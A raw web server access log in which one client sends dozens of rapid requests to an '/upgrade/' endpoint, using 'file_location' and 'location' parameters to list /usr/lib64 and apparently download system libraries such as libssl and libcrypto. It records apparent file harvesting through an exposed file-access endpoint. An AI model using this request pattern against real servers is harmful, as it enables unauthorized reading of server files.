45.135.193.11 - - [11/Sep/2026:23:02:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibutempter.so.1.2.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107935 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibutempter.so.1.2.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpdemux.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112597 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpdemux.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dri2.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110235 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dri2.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libhogweed.so.6.10.hmac&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103413 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libhogweed.so.6.10.hmac&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSvtAv1Enc.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1917303 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSvtAv1Enc.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypto.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 2419850 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypto.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgexiv2.so.2.14.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 190486 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgexiv2.so.2.14.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsqlite3.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 820830 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsqlite3.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:47 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Ficu HTTP/1.1" 200 6339 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Ficu" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:48 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Flibpoco-plesk-1.12.4 HTTP/1.1" 200 6715 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Flibpoco-plesk-1.12.4" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcap.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119412 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcap.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefiboot.so.1.38&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153524 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefiboot.so.1.38&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibidn.so.12.6.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 166853 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibidn.so.12.6.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibupower-glib.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 165581 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibupower-glib.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-record.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110246 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-record.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlienc.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 351096 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlienc.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm.so.2.128.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 144461 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm.so.2.128.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-idiag-3.so.200.26.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118869 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-idiag-3.so.200.26.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsigsegv.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110785 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsigsegv.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssl.so.3.5.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 560670 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssl.so.3.5.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_server.so.3.51&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116489 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_server.so.3.51&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxtables.so.12.7.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132348 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxtables.so.12.7.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:52 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgio HTTP/1.1" 200 5933 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgio" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasm-0.194.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118438 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasm-0.194.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_core-2.1.so.7.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 204500 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_core-2.1.so.7.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibFLAC++.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 102164 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibFLAC++.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLX_mesa.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 226389 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLX_mesa.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdk-x11-2.0.so.0.2400.33&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 487141 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdk-x11-2.0.so.0.2400.33&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibisccc.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122024 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibisccc.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjpeg.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 250011 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjpeg.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjson-c.so.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 136233 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjson-c.so.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:56 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgraphite2 HTTP/1.1" 200 6180 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgraphite2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfftw3f_omp.so.3.5.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115440 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfftw3f_omp.so.3.5.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgs.so.9.54&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 2955946 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgs.so.9.54&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstsdp-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 148646 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstsdp-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhandle.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109188 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhandle.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibinih.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107996 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibinih.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibparted-fs-resize.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 145969 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibparted-fs-resize.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpixman-1.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 399550 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpixman-1.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:02:59 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgstreamer-1.0 HTTP/1.1" 200 7991 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgstreamer-1.0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaudit.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 156283 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaudit.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgssapi_krb5.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 259584 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgssapi_krb5.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblqr-1.so.0.3.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 130895 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblqr-1.so.0.3.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliborc-0.4.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 294730 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliborc-0.4.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpangocairo-1.0.so.0.4800.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 128870 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpangocairo-1.0.so.0.4800.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsctp.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109758 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsctp.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxkbcommon.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 228307 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxkbcommon.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXaw7.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 291895 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXaw7.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcap-ng.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115965 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcap-ng.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfwupd.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 287836 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfwupd.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-route-3.so.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 357323 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-route-3.so.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliborc-test-0.4.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 117800 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliborc-test-0.4.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibresolv.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 133221 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibresolv.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_extra.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 172849 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_extra.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfido2.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 200544 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfido2.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgbm.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110354 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgbm.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-16.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 342625 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-16.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibappstream-glib.so.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 303652 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibappstream-glib.so.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibldacBT_abr.so.2.0.2.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107566 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibldacBT_abr.so.2.0.2.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
